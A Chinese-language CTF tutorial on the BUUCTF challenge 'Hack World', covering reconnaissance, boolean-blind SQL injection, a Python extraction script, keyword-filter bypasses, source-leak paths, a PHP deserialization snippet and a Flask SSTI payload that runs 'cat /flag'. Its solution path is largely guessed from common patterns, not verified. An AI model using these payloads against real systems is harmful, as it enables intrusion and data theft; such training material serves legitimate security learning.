CTF Web题SQL注入实战：布尔盲注与绕过技巧-育师

1. 题目背景与核心考察点解析

BUUCTF作为国内知名的CTF在线练习平台，收录了大量历年赛事真题。"[CISCN2019 华北赛区 Day2 Web1]Hack World"这道题目来自2019年全国大学生信息安全竞赛华北分赛区的Web类真题。从题目名称"Hack World"可以推测，这很可能是一个模拟真实Web渗透场景的综合性题目。

根据CTF赛事出题规律和Web类题目常见套路，这类题目通常会考察以下几个技术点：

SQL注入漏洞（特别是布尔盲注和时间盲注）
代码审计与逻辑漏洞
敏感信息泄露
服务端模板注入(SSTI)
非常规的认证绕过方式

注意：实际解题前建议先用Burp Suite等工具抓包分析请求响应，观察是否存在非常规的HTTP头部或响应体特征。

2. 环境搭建与初步侦查

2.1 题目环境访问

在BUUCTF平台启动题目后，会获得一个类似http://xxxxx.node4.buuoj.cn:port的访问地址。首次访问通常会呈现一个简单的Web界面，可能包含：

登录/注册表单
搜索功能
文件上传点
其他交互式功能

2.2 基础信息收集

使用浏览器开发者工具(F12)检查：

查看页面源代码中的注释信息
检查Network选项卡中的请求响应
使用dirsearch进行目录扫描：

python3 dirsearch.py -u http://xxxxx.node4.buuoj.cn:port -e php,html,js

2.3 功能点测试

对发现的每个功能点进行基础测试：

输入特殊字符测试XSS和SQLi
测试非常规HTTP方法(PUT, DELETE等)
修改Cookie和Header参数

3. 漏洞挖掘与利用

3.1 SQL注入漏洞分析

根据历年赛事经验，这道题最可能的突破口是SQL注入。测试步骤如下：

在输入框尝试基础注入payload：

' or 1=1 -- " or 1=1 -- admin' --

观察响应差异，判断是否存在报错注入或布尔盲注特征
如果返回内容长度变化，可能为布尔盲注场景，可使用以下方法验证：

import requests url = "http://xxxxx.node4.buuoj.cn:port" params = {"id": "1 and 1=1"} # 正常返回 params2 = {"id": "1 and 1=2"} # 异常返回 r1 = requests.get(url, params=params) r2 = requests.get(url, params=params2) print(len(r1.content), len(r2.content)) # 比较长度差异

3.2 自动化注入脚本开发

对于布尔盲注场景，可以编写Python脚本自动化获取数据：

import requests import string url = "http://xxxxx.node4.buuoj.cn:port" chars = string.ascii_letters + string.digits + "{}_-" flag = "" for i in range(1, 50): for c in chars: payload = f"1 and substr((select flag from flag),{i},1)='{c}'" params = {"id": payload} r = requests.get(url, params=params) if "Hello" in r.text: # 根据实际响应特征调整 flag += c print(flag) break print("Final flag:", flag)

关键点：需要根据实际响应调整判断条件，可能是特定字符串出现、响应长度变化或HTTP状态码差异。

4. 进阶技巧与绕过方法

4.1 过滤绕过技术

如果发现某些关键词被过滤，可以尝试：

大小写混写：SeLeCt
双写绕过：selselectect
注释符分割：sel/*xxx*/ect
十六进制编码：0x73656c656374
Unicode编码：%53%45%4c%45%43%54

4.2 非常规注入点

除了明显的输入框，还应检查：

HTTP头部（User-Agent, Referer等）
Cookie参数
POST请求的JSON/XML数据
文件上传的文件名和元数据

5. 其他可能的解题路径

5.1 源码泄露检查

常见源码泄露路径：

/.git/ /.svn/ /www.zip /robots.txt /backup.sql

5.2 反序列化漏洞

如果发现PHP的serialize()数据，可以尝试构造反序列化payload：

<?php class Exploit { public $cmd = "cat /flag"; } echo urlencode(serialize(new Exploit)); ?>

5.3 服务端模板注入

测试是否存在SSTI（以Flask为例）：

{{7*7}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "catch_warnings" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{% endif %}{% endfor %}

6. 实战经验与避坑指南

布尔盲注提速技巧：
- 优先判断flag长度减少爆破范围
```
and length((select flag from flag))>10
```
- 使用二分法而非逐字符爆破
WAF绕过心得：
- 尝试使用/**/替代空格
- 使用like替代=
- 测试||和&&在不同数据库中的行为差异
常见失误：
- 忽略HTTP响应头中的提示信息
- 没有测试所有参数就放弃
- 过度依赖自动化工具而错过手动测试发现的线索
赛后复盘要点：
- 记录每个尝试过的payload和对应响应
- 分析题目源码（如果赛后提供）
- 总结同类题目的通用解法模式